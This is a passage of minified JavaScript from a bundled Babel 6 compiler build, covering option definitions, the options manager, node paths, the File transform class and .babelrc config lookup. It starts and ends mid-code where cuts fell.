wrap all visitor methods"},compact:{type:"booleanString",default:"auto",description:"do not include superfluous whitespace characters and line terminators [true|false|auto]"},minified:{type:"boolean",default:!1,description:"save as much bytes when printing [true|false]"},sourceMap:{alias:"sourceMaps",hidden:!0},sourceMaps:{type:"booleanString",description:"[true|false|inline]",default:!1,shorthand:"s"},sourceMapTarget:{type:"string",description:"set `file` on returned source map"},sourceFileName:{type:"string",description:"set `sources[0]` on returned source map"},sourceRoot:{type:"filename",description:"the root from which all sources are relative"},babelrc:{description:"Whether or not to look up .babelrc and .babelignore files",type:"boolean",default:!0},sourceType:{description:"",default:"module"},auxiliaryCommentBefore:{type:"string",description:"print a comment before any injected non-user code"},auxiliaryCommentAfter:{type:"string",description:"print a comment after any injected non-user code"},resolveModuleSource:{hidden:!0},getModuleId:{hidden:!0},moduleRoot:{type:"filename",description:"optional prefix for the AMD module formatter that will be prepend to the filename on module definitions"},moduleIds:{type:"boolean",default:!1,shorthand:"M",description:"insert an explicit id for modules"},moduleId:{description:"specify a custom name for module ids",type:"string"},passPerPreset:{description:"Whether to spawn a traversal pass per a preset. By default all presets are merged.",type:"boolean",default:!1,hidden:!0},parserOpts:{description:"Options to pass into the parser, or to change parsers (parserOpts.parser)",default:!1},generatorOpts:{description:"Options to pass into the generator, or to change generators (generatorOpts.generator)",default:!1}}},function(e,t,r){(function(n){"use strict";function i(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function s(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var a=r(366),o=s(a),u=r(35),l=s(u),c=r(87),f=s(c),p=r(2),d=s(p),h=r(11),m=s(h),y=r(3),v=s(y),g=r(182),b=i(g),E=r(65),x=s(E),A=r(20),S=i(A),_=r(52),D=r(184),C=s(D),w=r(185),P=s(w),k=r(575),F=s(k),T=r(109),O=s(T),B=r(293),R=s(B),I=r(33),M=s(I),N=r(54),L=s(N),j=r(51),U=s(j),V=r(19),G=s(V),W=function(){function e(t){(0,v.default)(this,e),this.resolvedConfigs=[],this.options=e.createBareOptions(),this.log=t}return e.memoisePluginContainer=function(t,r,n,i){for(var s=e.memoisedPlugins,a=Array.isArray(s),o=0,s=a?s:(0,d.default)(s);;){var u;if(a){if(o>=s.length)break;u=s[o++]}else{if(o=s.next(),o.done)break;u=o.value}var l=u;if(l.container===t)return l.plugin}var c=void 0;if(c="function"==typeof t?t(b):t,"object"===(void 0===c?"undefined":(0,m.default)(c))){var f=new x.default(c,i);return e.memoisedPlugins.push({container:t,plugin:f}),f}throw new TypeError(S.get("pluginNotObject",r,n,void 0===c?"undefined":(0,m.default)(c))+r+n)},e.createBareOptions=function(){var e={};for(var t in M.default){var r=M.default[t];e[t]=(0,O.default)(r.default)}return e},e.normalisePlugin=function(t,r,n,i){if(!((t=t.__esModule?t.default:t)instanceof x.default)){if("function"!=typeof t&&"object"!==(void 0===t?"undefined":(0,m.default)(t)))throw new TypeError(S.get("pluginNotFunction",r,n,void 0===t?"undefined":(0,m.default)(t)));t=e.memoisePluginContainer(t,r,n,i)}return t.init(r,n),t},e.normalisePlugins=function(t,n,i){return i.map(function(i,s){var a=void 0,o=void 0;if(!i)throw new TypeError("Falsy value found in plugins");Array.isArray(i)?(a=i[0],o=i[1]):a=i;var u="string"==typeof a?a:t+"$"+s;if("string"==typeof a){var l=(0,C.default)(a,n);if(!l)throw new ReferenceError(S.get("pluginUnknown",a,t,s,n));a=r(179)(l)}return a=e.normalisePlugin(a,t,s,u),[a,o]})},e.prototype.mergeOptions=function(t){var r=this,i=t.options,s=t.extending,a=t.alias,o=t.loc,u=t.dirname;if(a=a||"foreign",i){("object"!==(void 0===i?"undefined":(0,m.default)(i))||Array.isArray(i))&&this.log.error("Invalid options type for "+a,TypeError);var l=(0,F.default)(i,function(e){if(e instanceof x.default)return e});u=u||n.cwd(),o=o||a;for(var c in l){if(!M.default[c]&&this.log)if(L.default[c])this.log.error("Using removed Babel 5 option: "+a+"."+c+" - "+L.default[c].message,ReferenceError);else{var p="Unknown option: "+a+"."+c+". Check out http://babeljs.io/docs/usage/options/ for more information about options.";this.log.error(p+"\n\nA common cause of this error is the presence of a configuration options object without the corresponding preset name. Example:\n\nInvalid:\n  `{ presets: [{option: value}] }`\nValid:\n  `{ presets: [['presetName', {option: value}]] }`\n\nFor more detailed information on preset configuration, please see http://babeljs.io/docs/plugins/#pluginpresets-options.",ReferenceError)}}(0,_.normaliseOptions)(l),l.plugins&&(l.plugins=e.normalisePlugins(o,u,l.plugins)),l.presets&&(l.passPerPreset?l.presets=this.resolvePresets(l.presets,u,function(e,t){r.mergeOptions({options:e,extending:e,alias:t,loc:t,dirname:u})}):(this.mergePresets(l.presets,u),delete l.presets)),i===s?(0,f.default)(s,l):(0,R.default)(s||this.options,l)}},e.prototype.mergePresets=function(e,t){var r=this;this.resolvePresets(e,t,function(e,t){r.mergeOptions({options:e,alias:t,loc:t,dirname:G.default.dirname(t||"")})})},e.prototype.resolvePresets=function(e,t,n){return e.map(function(e){var i=void 0;if(Array.isArray(e)){if(e.length>2)throw new Error("Unexpected extra options "+(0,l.default)(e.slice(2))+" passed to preset.");var s=e;e=s[0],i=s[1]}var a=void 0;try{if("string"==typeof e){if(!(a=(0,P.default)(e,t)))throw new Error("Couldn't find preset "+(0,l.default)(e)+" relative to directory "+(0,l.default)(t));e=r(179)(a)}if("object"===(void 0===e?"undefined":(0,m.default)(e))&&e.__esModule)if(e.default)e=e.default;else{var u=e,c=(u.__esModule,(0,o.default)(u,["__esModule"]));e=c}if("object"===(void 0===e?"undefined":(0,m.default)(e))&&e.buildPreset&&(e=e.buildPreset),"function"!=typeof e&&void 0!==i)throw new Error("Options "+(0,l.default)(i)+" passed to "+(a||"a preset")+" which does not accept options.");if("function"==typeof e&&(e=e(b,i,{dirname:t})),"object"!==(void 0===e?"undefined":(0,m.default)(e)))throw new Error("Unsupported preset format: "+e+".");n&&n(e,a)}catch(e){throw a&&(e.message+=" (While processing preset: "+(0,l.default)(a)+")"),e}return e})},e.prototype.normaliseOptions=function(){var e=this.options;for(var t in M.default){var r=M.default[t],n=e[t];!n&&r.optional||(r.alias?e[r.alias]=e[r.alias]||n:e[t]=n)}},e.prototype.init=function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=(0,U.default)(e,this.log),r=Array.isArray(t),n=0,t=r?t:(0,d.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;this.mergeOptions(s)}return this.normaliseOptions(e),this.options},e}();t.default=W,W.memoisedPlugins=[],e.exports=t.default}).call(t,r(8))},function(e,t,r){"use strict";e.exports={default:r(405),__esModule:!0}},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=r(2),a=i(s),o=r(3),u=i(o),l=r(224),c=n(l),f=r(239),p=i(f),d=r(466),h=i(d),m=r(7),y=i(m),v=r(174),g=i(v),b=r(134),E=i(b),x=r(1),A=n(x),S=r(88),_=(0,p.default)("babel"),D=function(){function e(t,r){(0,u.default)(this,e),this.parent=r,this.hub=t,this.contexts=[],this.data={},this.shouldSkip=!1,this.shouldStop=!1,this.removed=!1,this.state=null,this.opts=null,this.skipKeys=null,this.parentPath=null,this.context=null,this.container=null,this.listKey=null,this.inList=!1,this.parentKey=null,this.key=null,this.node=null,this.scope=null,this.type=null,this.typeAnnotation=null}return e.get=function(t){var r=t.hub,n=t.parentPath,i=t.parent,s=t.container,a=t.listKey,o=t.key;!r&&n&&(r=n.hub),(0,h.default)(i,"To get a node path the parent needs to exist");var u=s[o],l=S.path.get(i)||[];S.path.has(i)||S.path.set(i,l);for(var c=void 0,f=0;f<l.length;f++){var p=l[f];if(p.node===u){c=p;break}}return c||(c=new e(r,i),l.push(c)),c.setup(n,s,a,o),c},e.prototype.getScope=function(e){var t=e;return this.isScope()&&(t=new E.default(this,e)),t},e.prototype.setData=function(e,t){return this.data[e]=t},e.prototype.getData=function(e,t){var r=this.data[e];return!r&&t&&(r=this.data[e]=t),r},e.prototype.buildCodeFrameError=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:SyntaxError;return this.hub.file.buildCodeFrameError(this.node,e,t)},e.prototype.traverse=function(e,t){(0,y.default)(this.node,e,this.scope,t,this)},e.prototype.mark=function(e,t){this.hub.file.metadata.marked.push({type:e,message:t,loc:this.node.loc})},e.prototype.set=function(e,t){A.validate(this.node,e,t),this.node[e]=t},e.prototype.getPathLocation=function(){var e=[],t=this;do{var r=t.key;t.inList&&(r=t.listKey+"["+r+"]"),e.unshift(r)}while(t=t.parentPath);return e.join(".")},e.prototype.debug=function(e){_.enabled&&_(this.getPathLocation()+" "+this.type+": "+e())},e}();t.default=D,(0,g.default)(D.prototype,r(368)),(0,g.default)(D.prototype,r(374)),(0,g.default)(D.prototype,r(382)),(0,g.default)(D.prototype,r(372)),(0,g.default)(D.prototype,r(371)),(0,g.default)(D.prototype,r(377)),(0,g.default)(D.prototype,r(370)),(0,g.default)(D.prototype,r(381)),(0,g.default)(D.prototype,r(380)),(0,g.default)(D.prototype,r(373)),(0,g.default)(D.prototype,r(369));for(var C=A.TYPES,w=Array.isArray(C),P=0,C=w?C:(0,a.default)(C);;){var k;if("break"===function(){if(w){if(P>=C.length)return"break";k=C[P++]}else{if(P=C.next(),P.done)return"break";k=P.value}var e=k,t="is"+e;D.prototype[t]=function(e){return A[t](this.node,e)},D.prototype["assert"+e]=function(r){if(!this[t](r))throw new TypeError("Expected node path of type "+e)}}())break}for(var F in c){(function(e){if("_"===e[0])return"continue";A.TYPES.indexOf(e)<0&&A.TYPES.push(e);var t=c[e];D.prototype["is"+e]=function(e){return t.checkPath(this,e)}})(F)}e.exports=t.default},function(e,t,r){"use strict";var n=r(142),i=r(140);e.exports=function(e){return n(i(e))}},function(e,t,r){"use strict";function n(e,t){var r=s(e,t);return i(r)?r:void 0}var i=r(497),s=r(535);e.exports=n},function(e,t){"use strict";e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],e.children=[],e.webpackPolyfill=1),e}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t,r,n){if(e.selfReference){if(!n.hasBinding(r.name)||n.hasGlobal(r.name)){if(!f.isFunction(t))return;var i=p;t.generator&&(i=d);var s=i({FUNCTION:t,FUNCTION_ID:r,FUNCTION_KEY:n.generateUidIdentifier(r.name)}).expression;s.callee._skipModulesRemap=!0;for(var a=s.callee.body.body[0].params,u=0,l=(0,o.default)(t);u<l;u++)a.push(n.generateUidIdentifier("x"));return s}n.rename(r.name)}t.id=r,n.getProgramParent().references[r.name]=!0}function s(e,t,r){var n={selfAssignment:!1,selfReference:!1,outerDeclar:r.getBindingIdentifier(t),references:[],name:t},i=r.getOwnBinding(t);return i?"param"===i.kind&&(n.selfReference=!0):(n.outerDeclar||r.hasGlobal(t))&&r.traverse(e,h,n),n}t.__esModule=!0,t.default=function(e){var t=e.node,r=e.parent,n=e.scope,a=e.id;if(!t.id){if(!f.isObjectProperty(r)&&!f.isObjectMethod(r,{kind:"method"})||r.computed&&!f.isLiteral(r.key)){if(f.isVariableDeclarator(r)){if(a=r.id,f.isIdentifier(a)){var o=n.parent.getBinding(a.name);if(o&&o.constant&&n.getBinding(a.name)===o)return t.id=a,void(t.id[f.NOT_LOCAL_BINDING]=!0)}}else if(f.isAssignmentExpression(r))a=r.left;else if(!a)return}else a=r.key;var u=void 0;if(a&&f.isLiteral(a))u=a.value;else{if(!a||!f.isIdentifier(a))return;u=a.name}u=f.toBindingIdentifierName(u),a=f.identifier(u),a[f.NOT_LOCAL_BINDING]=!0;return i(s(t,u,n),t,a,n)||t}};var a=r(189),o=n(a),u=r(4),l=n(u),c=r(1),f=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(c),p=(0,l.default)("\n  (function (FUNCTION_KEY) {\n    function FUNCTION_ID() {\n      return FUNCTION_KEY.apply(this, arguments);\n    }\n\n    FUNCTION_ID.toString = function () {\n      return FUNCTION_KEY.toString();\n    }\n\n    return FUNCTION_ID;\n  })(FUNCTION)\n"),d=(0,l.default)("\n  (function (FUNCTION_KEY) {\n    function* FUNCTION_ID() {\n      return yield* FUNCTION_KEY.apply(this, arguments);\n    }\n\n    FUNCTION_ID.toString = function () {\n      return FUNCTION_KEY.toString();\n    };\n\n    return FUNCTION_ID;\n  })(FUNCTION)\n"),h={"ReferencedIdentifier|BindingIdentifier":function(e,t){if(e.node.name===t.name){e.scope.getBindingIdentifier(t.name)===t.outerDeclar&&(t.selfReference=!0,e.stop())}}};e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(361),s=n(i),a=r(9),o=n(a),u=r(11),l=n(u);t.default=function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+(void 0===t?"undefined":(0,l.default)(t)));e.prototype=(0,o.default)(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(s.default?(0,s.default)(e,t):e.__proto__=t)}},function(e,t,r){"use strict";t.__esModule=!0;var n=r(11),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!==(void 0===t?"undefined":(0,i.default)(t))&&"function"!=typeof t?e:t}},function(e,t,r){"use strict";var n=r(227);e.exports=function(e,t,r){if(n(e),void 0===t)return e;switch(r){case 1:return function(r){return e.call(t,r)};case 2:return function(r,n){return e.call(t,r,n)};case 3:return function(r,n,i){return e.call(t,r,n,i)}}return function(){return e.apply(t,arguments)}}},function(e,t,r){"use strict";var n=r(237),i=r(141);e.exports=Object.keys||function(e){return n(e,i)}},function(e,t,r){"use strict";var n=r(17),i=n.Symbol;e.exports=i},function(e,t){"use strict";function r(e,t){return e===t||e!==e&&t!==t}e.exports=r},function(e,t,r){"use strict";function n(e){return a(e)?i(e,!0):s(e)}var i=r(245),s=r(501),a=r(24);e.exports=n},function(e,t,r){"use strict";function n(e){var t=i(e),r=t%1;return t===t?r?t-r:t:0}var i=r(597);e.exports=n},function(e,t){(function(t){e.exports=t}).call(t,{})},function(e,t,r){(function(e){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0,t.File=void 0;var s=r(2),a=i(s),o=r(9),u=i(o),l=r(87),c=i(l),f=r(3),p=i(f),d=r(42),h=i(d),m=r(41),y=i(m),v=r(194),g=i(v),b=r(121),E=n(b),x=r(403),A=i(x),S=r(34),_=i(S),D=r(299),C=i(D),w=r(7),P=i(w),k=r(288),F=i(k),T=r(186),O=i(T),B=r(181),R=i(B),I=r(273),M=i(I),N=r(120),L=i(N),j=r(119),U=i(j),V=r(89),G=r(122),W=n(G),Y=r(19),q=i(Y),K=r(1),H=n(K),J=r(118),X=i(J),z=r(296),$=i(z),Q=r(297),Z=i(Q),ee=/^#!.*/,te=[[$.default],[Z.default]],re={enter:function(e,t){var r=e.node.loc;r&&(t.loc=r,e.stop())}},ne=function(t){function n(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=arguments[1];(0,p.default)(this,n);var i=(0,h.default)(this,t.call(this));return i.pipeline=r,i.log=new L.default(i,e.filename||"unknown"),i.opts=i.initOptions(e),i.parserOpts={sourceType:i.opts.sourceType,sourceFileName:i.opts.filename,plugins:[]},i.pluginVisitors=[],i.pluginPasses=[],i.buildPluginsForOptions(i.opts),i.opts.passPerPreset&&(i.perPresetOpts=[],i.opts.presets.forEach(function(e){var t=(0,c.default)((0,u.default)(i.opts),e);i.perPresetOpts.push(t),i.buildPluginsForOptions(t)})),i.metadata={usedHelpers:[],marked:[],modules:{imports:[],exports:{exported:[],specifiers:[]}}},i.dynamicImportTypes={},i.dynamicImportIds={},i.dynamicImports=[],i.declarations={},i.usedHelpers={},i.path=null,i.ast={},i.code="",i.shebang="",i.hub=new w.Hub(i),i}return(0,y.default)(n,t),n.prototype.getMetadata=function(){for(var e=!1,t=this.ast.program.body,r=Array.isArray(t),n=0,t=r?t:(0,a.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;if(H.isModuleDeclaration(s)){e=!0;break}}e&&this.path.traverse(E,this)},n.prototype.initOptions=function(e){e=new _.default(this.log,this.pipeline).init(e),e.inputSourceMap&&(e.sourceMaps=!0),e.moduleId&&(e.moduleIds=!0),e.basename=q.default.basename(e.filename,q.default.extname(e.filename)),e.ignore=W.arrayify(e.ignore,W.regexify),e.only&&(e.only=W.arrayify(e.only,W.regexify)),(0,M.default)(e,{moduleRoot:e.sourceRoot}),(0,M.default)(e,{sourceRoot:e.moduleRoot}),(0,M.default)(e,{filenameRelative:e.filename});var t=q.default.basename(e.filenameRelative);return(0,M.default)(e,{sourceFileName:t,sourceMapTarget:t}),e},n.prototype.buildPluginsForOptions=function(e){if(Array.isArray(e.plugins)){for(var t=e.plugins.concat(te),r=[],n=[],i=t,s=Array.isArray(i),o=0,i=s?i:(0,a.default)(i);;){var u;if(s){if(o>=i.length)break;u=i[o++]}else{if(o=i.next(),o.done)break;u=o.value}var l=u,c=l[0],f=l[1];r.push(c.visitor),n.push(new C.default(this,c,f)),c.manipulateOptions&&c.manipulateOptions(e,this.parserOpts,this)}this.pluginVisitors.push(r),this.pluginPasses.push(n)}},n.prototype.getModuleName=function(){var e=this.opts;if(!e.moduleIds)return null;if(null!=e.moduleId&&!e.getModuleId)return e.moduleId;var t=e.filenameRelative,r="";if(null!=e.moduleRoot&&(r=e.moduleRoot+"/"),!e.filenameRelative)return r+e.filename.replace(/^\//,"");if(null!=e.sourceRoot){var n=new RegExp("^"+e.sourceRoot+"/?");t=t.replace(n,"")}return t=t.replace(/\.(\w*?)$/,""),r+=t,r=r.replace(/\\/g,"/"),e.getModuleId?e.getModuleId(r)||r:r},n.prototype.resolveModuleSource=function(e){var t=this.opts.resolveModuleSource;return t&&(e=t(e,this.opts.filename)),e},n.prototype.addImport=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:t,n=e+":"+t,i=this.dynamicImportIds[n];if(!i){e=this.resolveModuleSource(e),i=this.dynamicImportIds[n]=this.scope.generateUidIdentifier(r);var s=[];"*"===t?s.push(H.importNamespaceSpecifier(i)):"default"===t?s.push(H.importDefaultSpecifier(i)):s.push(H.importSpecifier(i,H.identifier(t)));var a=H.importDeclaration(s,H.stringLiteral(e));a._blockHoist=3,this.path.unshiftContainer("body",a)}return i},n.prototype.addHelper=function(e){var t=this.declarations[e];if(t)return t;this.usedHelpers[e]||(this.metadata.usedHelpers.push(e),this.usedHelpers[e]=!0);var r=this.get("helperGenerator"),n=this.get("helpersNamespace");if(r){var i=r(e);if(i)return i}else if(n)return H.memberExpression(n,H.identifier(e));var s=(0,g.default)(e),a=this.declarations[e]=this.scope.generateUidIdentifier(e);return H.isFunctionExpression(s)&&!s.id?(s.body._compact=!0,s._generated=!0,s.id=a,s.type="FunctionDeclaration",this.path.unshiftContainer("body",s)):(s._compact=!0,this.scope.push({id:a,init:s,unique:!0})),a},n.prototype.addTemplateObject=function(e,t,r){var n=r.elements.map(function(e){return e.value}),i=e+"_"+r.elements.length+"_"+n.join(","),s=this.declarations[i];if(s)return s;var a=this.declarations[i]=this.scope.generateUidIdentifier("templateObject"),o=this.addHelper(e),u=H.callExpression(o,[t,r]);return u._compact=!0,this.scope.push({id:a,init:u,_blockHoist:1.9}),a},n.prototype.buildCodeFrameError=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:SyntaxError,n=e&&(e.loc||e._loc),i=new r(t);return n?i.loc=n.start:((0,P.default)(e,re,this.scope,i),i.message+=" (This is an error on an internal node. Probably an internal error",i.loc&&(i.message+=". Location has been estimated."),i.message+=")"),i},n.prototype.mergeSourceMap=function(e){var t=this.opts.inputSourceMap;if(t){var r=new F.default.SourceMapConsumer(t),n=new F.default.SourceMapConsumer(e),i=new F.default.SourceMapGenerator({file:r.file,sourceRoot:r.sourceRoot}),s=n.sources[0];r.eachMapping(function(e){var t=n.generatedPositionFor({line:e.generatedLine,column:e.generatedColumn,source:s});null!=t.column&&i.addMapping({source:e.source,original:null==e.source?null:{line:e.originalLine,column:e.originalColumn},generated:t})});var a=i.toJSON();return t.mappings=a.mappings,t}return e},n.prototype.parse=function(t){var n=V.parse,i=this.opts.parserOpts;if(i&&(i=(0,c.default)({},this.parserOpts,i),i.parser)){if("string"==typeof i.parser){var s=q.default.dirname(this.opts.filename)||e.cwd(),a=(0,X.default)(i.parser,s);if(!a)throw new Error("Couldn't find parser "+i.parser+' with "parse" method relative to directory '+s);n=r(178)(a).parse}else n=i.parser;i.parser={parse:function(e){return(0,V.parse)(e,i)}}}this.log.debug("Parse start");var o=n(t,i||this.parserOpts);return this.log.debug("Parse stop"),o},n.prototype._addAst=function(e){this.path=w.NodePath.get({hub:this.hub,parentPath:null,parent:e,container:e,key:"program"}).setContext(),this.scope=this.path.scope,this.ast=e,this.getMetadata()},n.prototype.addAst=function(e){this.log.debug("Start set AST"),this._addAst(e),this.log.debug("End set AST")},n.prototype.transform=function(){for(var e=0;e<this.pluginPasses.length;e++){var t=this.pluginPasses[e];this.call("pre",t),this.log.debug("Start transform traverse");var r=P.default.visitors.merge(this.pluginVisitors[e],t,this.opts.wrapPluginVisitorMethod);(0,P.default)(this.ast,r,this.scope),this.log.debug("End transform traverse"),this.call("post",t)}return this.generate()},n.prototype.wrap=function(t,r){t+="";try{return this.shouldIgnore()?this.makeResult({code:t,ignored:!0}):r()}catch(r){if(r._babel)throw r;r._babel=!0;var n=r.message=this.opts.filename+": "+r.message,i=r.loc;if(i&&(r.codeFrame=(0,R.default)(t,i.line,i.column+1,this.opts),n+="\n"+r.codeFrame),e.browser&&(r.message=n),r.stack){var s=r.stack.replace(r.message,n);r.stack=s}throw r}},n.prototype.addCode=function(e){e=(e||"")+"",e=this.parseInputSourceMap(e),this.code=e},n.prototype.parseCode=function(){this.parseShebang();var e=this.parse(this.code);this.addAst(e)},n.prototype.shouldIgnore=function(){var e=this.opts;return W.shouldIgnore(e.filename,e.ignore,e.only)},n.prototype.call=function(e,t){for(var r=t,n=Array.isArray(r),i=0,r=n?r:(0,a.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var o=s,u=o.plugin,l=u[e];l&&l.call(o,this)}},n.prototype.parseInputSourceMap=function(e){var t=this.opts;if(!1!==t.inputSourceMap){var r=A.default.fromSource(e);r&&(t.inputSourceMap=r.toObject(),e=A.default.removeComments(e))}return e},n.prototype.parseShebang=function(){var e=ee.exec(this.code);e&&(this.shebang=e[0],this.code=this.code.replace(ee,""))},n.prototype.makeResult=function(e){var t=e.code,r=e.map,n=e.ast,i=e.ignored,s={metadata:null,options:this.opts,ignored:!!i,code:null,ast:null,map:r||null};return this.opts.code&&(s.code=t),this.opts.ast&&(s.ast=n),this.opts.metadata&&(s.metadata=this.metadata),s},n.prototype.generate=function(){var t=this.opts,n=this.ast,i={ast:n};if(!t.code)return this.makeResult(i);var s=O.default;if(t.generatorOpts.generator&&"string"==typeof(s=t.generatorOpts.generator)){var a=q.default.dirname(this.opts.filename)||e.cwd(),o=(0,X.default)(s,a);if(!o)throw new Error("Couldn't find generator "+s+' with "print" method relative to directory '+a);s=r(178)(o).print}this.log.debug("Generation start");var u=s(n,t.generatorOpts?(0,c.default)(t,t.generatorOpts):t,this.code);return i.code=u.code,i.map=u.map,this.log.debug("Generation end"),this.shebang&&(i.code=this.shebang+"\n"+i.code),i.map&&(i.map=this.mergeSourceMap(i.map)),"inline"!==t.sourceMaps&&"both"!==t.sourceMaps||(i.code+="\n"+A.default.fromObject(i.map).toComment()),"inline"===t.sourceMaps&&(i.map=null),this.makeResult(i)},n}(U.default);t.default=ne,t.File=ne}).call(t,r(8))},function(e,t,r){(function(n){"use strict";function i(e){return e&&e.__esModule?e:{default:e}}function s(e){var t=x[e];return null==t?x[e]=E.default.existsSync(e):t}function a(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments[1],r=e.filename,n=new S(t);return!1!==e.babelrc&&n.findConfigs(r),n.mergeConfig({options:e,alias:"base",dirname:r&&g.default.dirname(r)}),n.configs}t.__esModule=!0;var o=r(87),u=i(o),l=r(3),c=i(l);t.default=a;var f=r(118),p=i(f),d=r(470),h=i(d),m=r(604),y=i(m),v=r(19),g=i(v),b=r(115),E=i(b),x={},A={},S=function(){function e(t){(0,c.default)(this,e),this.resolvedConfigs=[],this.configs=[],this.log=t}return e.prototype.findConfigs=function(e){if(e){(0,y.default)(e)||(e=g.default.join(n.cwd(),e));for(var t=!1,r=!1;e!==(e=g.default.dirname(e));){if(!t){var i=g.default.join(e,".babelrc");s(i)&&(this.addConfig(i),t=!0);var a=g.default.join(e,"package.json");!t&&s(a)&&(t=this.addConfig(a,"babel",JSON))}if(!r){var o=g.default.join(e,".babelignore");s(o)&&(this.addIgnoreConfig(o),r=!0)}if(r&&t)return}}},e.prototype.addIgnoreConfig=function(e){var t=E.default.readFileSync(e,"utf8"),r=t.split("\n");r=r.map(function(e){return e.replace(/#(.*?)$/,"").trim()}).filter(function(e){return!!e}),r.length&&this.mergeConfig({options:{ignore:r},alias:e,dirname:g.default.dirname(e)})},e.prototype.addConfig=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:h.default;if(this.resolvedConfigs.indexOf(e)>=0)return!1
;this.resolvedConfigs.push(e);var n=E.default.readFileSync(e,"utf8"),i=void 0;try{i=A[n]=A[n]||r.parse(n),t&&(i=i[t])}catch(t){throw t.message=e+": Error while parsing JSON - "+t.message,t}return this.mergeConfig({options:i,alias:e,dirname:g.default.dirname(e)}),!!i},e.prototype.mergeConfig=function(e){var t=e.options,r=e.alias,i=e.loc,s=e.dirname;if(!t)return!1;if(t=(0,u.default)({},t),s=s||n.cwd(),i=i||r,t.extends){var a=(0,p.default)(t.extends,s);a?this.addConfig(a):this.log&&this.log.error("Couldn't resolve extends clause of "+t.extends+" in "+r),delete t.extends}this.configs.push({options:t,alias:r,loc:i,dirname:s});var o=void 0,l=n.env.BABEL_ENV||"production"||"development";t.env&&(o=t.env[l],delete t.env),this.mergeConfig({options:o,alias:r+".env."+l,dirname:s})},e}();e.exports=t.default}).call(t,r(8))},function(e,t,r){"use strict";function n(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};for(var t in e){var r=e[t];if(null!=r){var n=o.default[t];if(n&&n.alias&&(n=o.default[n.alias]),n){var i=s[n.type];i&&(r=i(r)),e[t]=r}}}return e}t.__esModule=!0,t.config=void 0,t.normaliseOptions=n;var i=r(53),s=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(i),a=r(33),o=function(e){return e&&e.__esModule?e:{default:e}}(a);t.config=o.default},function(e,t,r){"use strict";function n(e){return!!e}function i(e){return l.booleanify(e)}function s(e){return l.list(e)}t.__esModule=!0,t.filename=void 0,t.boolean=n,t.booleanString=i,t.list=s;var a=r(284),o=function(e){return e&&e.__esModule?e:{default:e}}(a),u=r(122),l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(u);t.filename=o.default},function(e,t){"use strict";e.exports={auxiliaryComment:{message:"Use `auxiliaryCommentBefore` or `auxiliaryCommentAfter`"},blacklist:{message:"Put the specific transforms you want in the `plugins` option"},breakConfig:{message:"This is not a necessary option in Babel 6"},experimental:{message:"Put the specific transforms you want in the `plugins` option"},externalHelpers:{message:"Use the `external-helpers` plugin instead. Check out http://babeljs.io/docs/plugins/external-helpers/"},extra:{message:""},jsxPragma:{message:"use the `pragma` option in the `react-jsx` plugin . Check out http://babeljs.io/docs/plugins/transform-react-jsx/"},loose:{message:"Specify the `loose` option for the relevant plugin you are using or use a preset that sets the option."},metadataUsedHelpers:{message:"Not required anymore as this is enabled by default"},modules:{message:"Use the corresponding module transform plugin in the `plugins` option. Check out http://babeljs.io/docs/plugins/#modules"},nonStandard:{message:"Use the `react-jsx` and `flow-strip-types` plugins to support JSX and Flow. Also check out the react preset http://babeljs.io/docs/plugins/preset-react/"},optional:{message:"Put the specific transforms you want in the `plugins` option"},sourceMapName:{message:"Use the `sourceMapTarget` option"},stage:{message:"Check out the corresponding stage-x presets http://babeljs.io/docs/plugins/#presets"},whitelist:{message:"Put the specific transforms you want in the `plugins` option"}}},function(e,t,r){"use strict";var n=r(43),i=r(428),s=r(427),a=r(21),o=r(153),u=r(238),l={},c={},f=e.exports=function(e,t,r,f,p){var d,h,m,y,v=p?function(){return e}:u(e),g=n(r,f,t?2:1),b=0;if("function"!=typeof v)throw TypeError(e+" is not iterable!");if(s(v)){for(d=o(e.length);d>b;b++)if((y=t?g(a(h=e[b])[0],h[1]):g(e[b]))===l||y===c)return y}else for(m=v.call(e);!(h=m.next()).done;)if((y=i(m,g,h.value,t))===l||y===c)return y};f.BREAK=l,f.RETURN=c},function(e,t){"use 